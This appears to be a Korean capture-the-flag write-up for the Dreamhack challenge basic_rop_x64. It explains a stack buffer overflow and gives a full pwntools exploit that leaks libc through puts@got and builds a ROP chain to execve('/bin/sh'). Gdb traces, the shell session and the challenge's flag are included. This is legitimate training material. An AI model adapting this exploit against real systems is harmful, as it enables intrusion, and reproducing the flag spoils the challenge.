Description
이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
seo@seo-virtual-machine:~/Desktop/basic_rop_x64$ checksec --file ./basic_rop_x64 [*] '/home/seo/Desktop/basic_rop_x64/basic_rop_x64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000)
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; // [rsp+10h] [rbp-40h] BYREF __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF memset(buf, 0, sizeof(buf)); initialize(&savedregs, argv, buf); read(0, buf, 1024uLL); write(1, buf, 64uLL); return 0; }
64바이트 할당된 buf에 read
함수로 1024바이트만큼 입력받으므로
버퍼 오버플로우가 발생한다.
Solution
ROP 공격기법을 통해
스택 오버플로우와 같은 취약점으로 콜 스택을 통제할 수 있기 때문에
스택 기반 연산을 하는 코드 가젯들을 이용해서
execve("/bin/sh", NULL, NULL)
이 실행되도록 만들면 된다.
64비트 실행 파일에서 함수가 호출될 때 전달되는 인자는 다음과 같다.
따라서 execve
함수 호출시 첫 번째 인자를 설정하기 위해, pop rdi;
2번째 인자를 설정하기 위해 pop rsi
3번째 인자를 설정하기 위해 pop rdx
가젯들이 필요하다.
이러한 가젯들은 pip3로 ROPgadget를 설치해서 획득할 수 있다.
seo@seo-virtual-machine:~$ ROPgadget --binary ~/Desktop/basic_rop_x64/libc.so.6 | grep "pop rdi ; ret" 0x000000000009c2a9 : add byte ptr [rbx + rcx*4 + 0x15], cl ; pop rdi ; retf 0x00000000001bc10b : or al, ch ; pop rdi ; ret 0xffe6 0x000000000002a3e5 : pop rdi ; ret 0x00000000001bc10d : pop rdi ; ret 0xffe6 0x000000000008eef5 : pop rdi ; retf
다시 정리해보자면,
1. 먼저 puts@got 주소를 출력시키게 만들어 libc base 주소를 구한다.
페이로드를 만든다면,
(buf를 채울 64바이트 더미) + (RBP를 채울 8바이트 더미) + (pop rdi; ret 주소) + (puts@got 주소) + (puts@plt 주소) + (main 주소)가 되겠다.
(gdb) stepi 0x0000000000400883 in __libc_csu_init () [pop rdi; ret 실행 직전] (gdb) info reg rsp 0x7fffffffddd0 0x7fffffffddd0 (gdb) x/4gx $rsp 0x7fffffffddd0: 0x0000000000601018 0x00000000004005c0 0x7fffffffdde0: 0x00000000004007ba 0x00007fffffffded8 (gdb) x/a $rsp 0x7fffffffddd0: 0x601018 <[email protected]> (gdb) x/a $rsp+8 0x7fffffffddd8: 0x4005c0 <puts@plt> (gdb) x/a $rsp+16 0x7fffffffdde0: 0x4007ba <main>
그러면 main 함수의 에필로그의 retn
어셈블리가 실행되면서,
pop rdi; ret 주소로 이동하고 실행하게 된다.
(gdb) stepi 0x0000000000400884 in __libc_csu_init () [pop rdi; 실행 후, ret 실행 전] (gdb) info reg rdi 0x601018 6295576 rsp 0x7fffffffddd8 0x7fffffffddd8 (gdb) x/a $rsp 0x7fffffffddd8: 0x4005c0 <puts@plt> (gdb) x/a $rdi 0x601018 <[email protected]>: 0x4005c6 <puts@plt+6>
pop rdi; 가 실행되면서
스택에 백업해둔 rdi 값이 puts@got으로 복원되고,
pop을 했으므로 stack pointer는 1 qword 위로 올라가며,
stack pointer는 return address인 puts@plt 주소를 가리킨다.
(gdb) stepi 0x00000000004005c0 in puts@plt () [pop rdi; ret; 실행 후] (gdb) info reg rdi 0x601018 6295576 rsp 0x7fffffffdde0 0x7fffffffdde0 rip 0x4005c0 0x4005c0 <puts@plt> (gdb) x/a $rsp 0x7fffffffdde0: 0x4007ba <main>
ret 이 실행되면서
스택에 저장된 return address인 puts@plt 주소로 리턴한다.
return address인 puts@plt 주소는 POP 되어 RIP에 저장되고,
stack pointer는 한번더 1 qword 위로 올라간다.
이렇게 ROP 기법으로 puts(puts@got)
주소를 실행시켜,
puts@got 주소를 획득할 수 있었다.
그리고 위로 올라갔기 때문에 stack pointer는 이제 main 주소를 가리키게 되는데,
puts 함수에서의 ret 어셈블리가 실행되면서 main 함수를 다시 호출할 수 있게 되는 것이다.
2. 다시 한번 ROP 기법으로 execve("/bin/sh", NULL, NULL)
을 호출시켜 쉘을 획득한다.
앞서 설명했듯이,
pop rdi, pop rsi, pop rdx 가젯들을 이용해서 execve
함수 호출시 필요한 각각 매개변수를 지정해주면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') #p = process("./basic_rop_x64") p = remote('host3.dreamhack.games', 16404) e = ELF('./basic_rop_x64') l = ELF('./libc.so.6') main_func = e.symbols['main'] pop_rdi_ret = 0x400883 #Stage 1. LEAK puts@got payload = b"" payload += b"A" * 0x40 payload += b"B" * 0x8 #puts(puts@got address) and call main payload += p64(pop_rdi_ret) payload += p64(e.got['puts']) payload += p64(e.symbols['puts']) payload += p64(main_func) p.send(payload) #receive leaked puts_got puts = p.recvline() puts = puts[64:70] puts += b"\x00\x00" puts = u64(puts) libc_base = puts- l.symbols['puts'] print(f"puts: {hex(puts)}") print(f"libc_base: {hex(libc_base)}") #Stage 2. execve"/bin/sh", NULL, NULL); execve = libc_base + l.symbols['execve'] bin_sh = libc_base + 0x1d8698 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_pop_r12_ret = libc_base + 0x11f497 payload = b"" payload += b"A" * 0x40 payload += b"B" * 0x8 #set rdi payload += p64(pop_rdi_ret) payload += p64(bin_sh) #arg1: /bin/sh #set rsi payload += p64(pop_rsi_ret) payload += p64(0) #arg2: NULL #set rdx payload += p64(pop_rdx_pop_r12_ret) payload += p64(0) #rdx #arg3: NULL payload += p64(0) #r12 payload += p64(execve) p.send(payload) p.interactive()
Result
seo@seo-virtual-machine:~/Desktop/basic_rop_x64$ python3 solve3.py [+] Opening connection to host3.dreamhack.games on port 16404: Done [*] '/home/seo/Desktop/basic_rop_x64/basic_rop_x64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) [*] '/home/seo/Desktop/basic_rop_x64/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled puts: 0x7f9b25cf6ed0 libc_base: 0x7f9b25c76000 [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls basic_rop_x64 flag $ cat flag DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}